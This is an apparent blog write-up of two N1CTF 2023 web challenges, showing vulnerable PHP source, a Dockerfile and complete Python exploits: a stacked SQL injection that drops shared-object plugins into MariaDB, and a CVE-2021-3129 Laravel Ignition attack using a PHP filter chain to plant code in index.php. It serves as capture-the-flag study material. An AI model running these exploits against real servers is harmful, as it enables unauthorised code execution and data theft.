N1ctf 2023

· 5 min read · 1048 words · CTF · SQLi MySQL UDF Laravel PHP Filter Chain

ezmaria

<?php

//for n1ctf ezmariadb secret cmd

if ($_REQUEST["secret"] === "lolita_love_you_forever"){
    header("Content-Type: text/plain");
    echo "\n\n`ps -ef` result\n\n";
    system("ps -ef");
    echo "\n\n`ls -l /` result\n\n";
    system("ls -l /");
    echo "\n\n`ls -l /var/www/html/` result\n\n";
    system("ls -l /var/www/html/");
    echo "\n\n`find /mysql` result\n\n";
    system("find /mysql");
    die("can you get shell?");
}


//lolita init db

$servername = "127.0.0.1";
$username = "root";
$password = "123456";
$dbn = "ctf";
//phpinfo();
//die();

// 创建连接
//$conn = new PDO("mysql:host=$servername;", $username, $password);
//aaa();
$err = "";
try {
    //$conn = new PDO("mysql:host=$servername;dbname=$dbn", $username, $password);
    $conn = new mysqli($servername, $username, $password, $dbn);
    //echo "连接成功"; 
}
catch(PDOException $e)
{
    //echo $e->getMessage();
    $conn = null;
    $err = $e->getMessage();
}
?>

<?php 
// avoid attack
if (preg_match("/(master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate)/is", $_REQUEST["id"])){
    die("你就不能绕一下喵");
}



?>



<?php
$cmd = "select name, price from items where id = ".$_REQUEST["id"];

//$result = $conn->query($cmd);

if ($conn == null) {
    //die("连接失败: " . $conn->connect_error);
    $result = $err;
    $result = "数据库坏了喵\n". $err;
}else{
    try {
        $result = $conn->multi_query($cmd);
        $result = $conn->store_result();
        while ($conn->more_results() && $conn->next_result())
        {
            //do nothing
        }
        if (!$result){
            $result = base64_encode(mysqli_error($conn));
        }else{
            $result = mysqli_fetch_all($result);
            $result = $result[0];
            $result = var_export($result, true);
        }
        
    }catch(Exception $x){
        $result = $x->getMessage();
        $result = "报错了喵\n" . base64_encode($result);
    }
}

?>

id 直接拼进 SQL,multi_query 原生支持一次执行多条 SQL 语句,堆叠注入。WAF 拦了 outfile,dumpfile 和 load_file 没拦,/usr/bin/mariadb 有 cap_setfcap,可以提权

# web/ezmaria/environment/app/files/start.sh:8-12
echo $FLAG > /flag
chmod 600 /flag
unset FLAG

setcap CAP_SETFCAP=ep /usr/bin/mariadb
# web/ezmaria/environment/app/files/mysql.sh:4
su mysql -c "mariadbd --skip-grant-tables --secure-file-priv='' --datadir=/mysql/data --plugin_dir=/mysql/plugin --user=mysql"

exp 如下

#!/usr/bin/env python3
import re
import time
import urllib.parse
import urllib.request
from pathlib import Path

BLOCKED = re.compile(
    r"master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate",
    re.I,
)
HERE = Path(__file__).resolve().parent


def sql_blob(data: bytes) -> str:
    hex_text = data.hex()
    parts = []
    index = 0
    while index < len(hex_text):
        size = min(64, len(hex_text) - index)
        while size > 2 and BLOCKED.search(hex_text[index:index + size]):
            size -= 2
        parts.append("'" + hex_text[index:index + size] + "'")
        index += size
    return "CONCAT(" + ",".join(parts) + ")"


def post(url: str, statement: str) -> str:
    if BLOCKED.search(statement):
        raise SystemExit("statement blocked by filter")
    body = urllib.parse.urlencode({"id": statement}).encode()
    request = urllib.request.Request(url, data=body)
    with urllib.request.urlopen(request, timeout=120) as response:
        return response.read().decode("utf-8", "replace")


def main():
    url = "http://127.0.0.1:8087/"
    server = (HERE / "server.so").read_bytes()
    client = (HERE / "client.so").read_bytes()
    post(url, f"1; SELECT UNHEX({sql_blob(server)}) INTO DUMPFILE '/mysql/plugin/pwnsrv.so'")
    post(url, f"1; SELECT UNHEX({sql_blob(client)}) INTO DUMPFILE '/mysql/plugin/capcli.so'")
    post(url, "1; CREATE DATABASE IF NOT EXISTS mysql")
    post(
        url,
        "1; CREATE TABLE IF NOT EXISTS mysql.plugin ("
        " name varchar(64) DEFAULT '' NOT NULL,"
        " dl varchar(128) DEFAULT '' NOT NULL,"
        " PRIMARY KEY (name)"
        " ) engine=Aria transactional=1 CHARACTER SET utf8mb3"
        " COLLATE utf8mb3_general_ci comment='MySQL plugins'",
    )
    post(url, "1; INSTALL PLUGIN pwnsrv SONAME 'pwnsrv.so'")
    for _ in range(20):
        page = post(url, "0 union select 1,load_file('/tmp/flagout')")
        match = re.search(r"flag\{[^}]+\}", page)
        if match:
            print(match.group(0))
            return
        time.sleep(0.5)
    raise SystemExit("no flag")


if __name__ == "__main__":
    main()

# python3 web/ezmaria/poc/exploit.py
# flag{test_flag}

laravel

FROM ubuntu:20.04

# Official challenge image: Ubuntu 20.04, Laravel 8.4.2, facade/ignition 2.5.1.
# PHP comes from the distro archive so the iconv encodings match the filter chain.
# phar is removed only after Composer finishes, matching the remote "no phar" rule.
# Composer 2.2 is the last line that still installs on this PHP.

ENV DEBIAN_FRONTEND=noninteractive \
    TZ=Asia/Shanghai \
    LANG=C.UTF-8 \
    COMPOSER_ALLOW_SUPERUSER=1 \
    FLAG=flag{laravel_testflag}

RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime \
    && echo "$TZ" > /etc/timezone \
    && sed -i \
        -e 's|http://archive.ubuntu.com/ubuntu|http://old-releases.ubuntu.com/ubuntu|g' \
        -e 's|http://security.ubuntu.com/ubuntu|http://old-releases.ubuntu.com/ubuntu|g' \
        /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y --no-install-recommends \
        ca-certificates \
        unzip \
        zip \
        git \
        php \
        php-cli \
        php-curl \
        php-common \
        php-mbstring \
        php-xml \
        php-zip \
    && rm -rf /var/lib/apt/lists/* \
    && php -r "copy('https://getcomposer.org/download/2.2.25/composer.phar', '/usr/local/bin/composer');" \
    && chmod +x /usr/local/bin/composer

RUN composer create-project --prefer-dist --no-interaction laravel/laravel /laravel "8.4.2"

WORKDIR /laravel

RUN composer require --dev --no-interaction facade/ignition==2.5.1 \
    && (test -f .env || cp .env.example .env) \
    && sed -i 's/^APP_ENV=.*/APP_ENV=local/' .env \
    && sed -i 's/^APP_DEBUG=.*/APP_DEBUG=true/' .env \
    && php artisan key:generate --force \
    && rm -f /etc/php/7.4/cli/conf.d/*phar* \
    && chmod a-w -R /laravel \
    && chown www-data:www-data /laravel/public/index.php \
    && chmod u+w /laravel/public/index.php \
    && chown -R www-data:www-data /laravel/storage /laravel/bootstrap/cache \
    && chmod -R u+rwX /laravel/storage /laravel/bootstrap/cache \
    && printf '%s\n' "${FLAG}" > /flag \
    && chmod 644 /flag

COPY entrypoint.sh /entrypoint.sh
RUN chmod 755 /entrypoint.sh

EXPOSE 8000
ENTRYPOINT ["/entrypoint.sh"]

Laravel 8.4.2,ignition 2.5.1,debug 开着,一看就是 CVE-2021-3129,但是 phar 禁用了。具体阅读下漏洞代码

// /laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:65-87
public function run(array $parameters = [])
{
    $output = $this->makeOptional($parameters);
    if ($output !== false) {
        file_put_contents($parameters['viewFile'], $output);
    }
}

public function makeOptional(array $parameters = [])
{
    $originalContents = file_get_contents($parameters['viewFile']);
    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

    $originalTokens = token_get_all(Blade::compileString($originalContents));
    $newTokens = token_get_all(Blade::compileString($newContents));

    $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

    if ($expectedTokens !== $newTokens) {
        return false;
    }

    return $newContents;
}

很显然是可以打 php-filter-chain,但是viewFile 不是 include,需要 Ignition 先读出来,过一遍 token 检查,再写回同一个文件。

生成方式和陆队博客写的 php filter chain 一样,先用 UTF-8 -> ISO-2022-KR 在内容前面塞进 \x1b$)C,base64 之后只剩下一个字符 C,再用每一组 iconv 往 base64 前面补一个字符,补完之后做一次 base64-decode,得到的就是我们要的 PHP,后面跟着原来文件的脏数据。这题的 PHP 是 glibc,这组过滤器能创建。有两个点要自己处理:

  • 过滤器写成 read=。不写的话,file_put_contents 写回去时同一套链会再跑一遍,内容被写坏。
  • payload 末尾加 __halt_compiler()。脏数据还在,但 PHP 不再解析它。
#!/usr/bin/env python3
import base64
import json
import time
import urllib.error
import urllib.request

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}


def chain(payload, resource):
    encoded = base64.b64encode(payload.encode()).decode().replace("=", "")
    filters = "convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|"
    for char in encoded[::-1]:
        filters += conversions[char] + "|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|"
    filters += "convert.base64-decode"
    return "php://filter/read=" + filters + "/resource=" + resource

def main():
    base = "http://127.0.0.1:8000"
    view = chain('<?php echo file_get_contents("/flag");__halt_compiler();', "/laravel/public/index.php")
    body = json.dumps({
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {"variableName": "username", "viewFile": view},
    }).encode()
    request = urllib.request.Request(
        base + "/_ignition/execute-solution",
        data=body,
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        urllib.request.urlopen(request, timeout=60).read()
    except urllib.error.HTTPError:
        pass
    for _ in range(8):
        with urllib.request.urlopen(base + "/", timeout=30) as response:
            flag = response.read().decode("utf-8", "replace")
        if flag.startswith("flag{"):
            print(flag, end="" if flag.endswith("\n") else "\n")
            return
        time.sleep(0.5)
    raise SystemExit("no flag")

if __name__ == "__main__":
    main()

# python3 web/laravel/poc/exploit.py
# flag{test_flag}
微信赞赏码微信赞赏码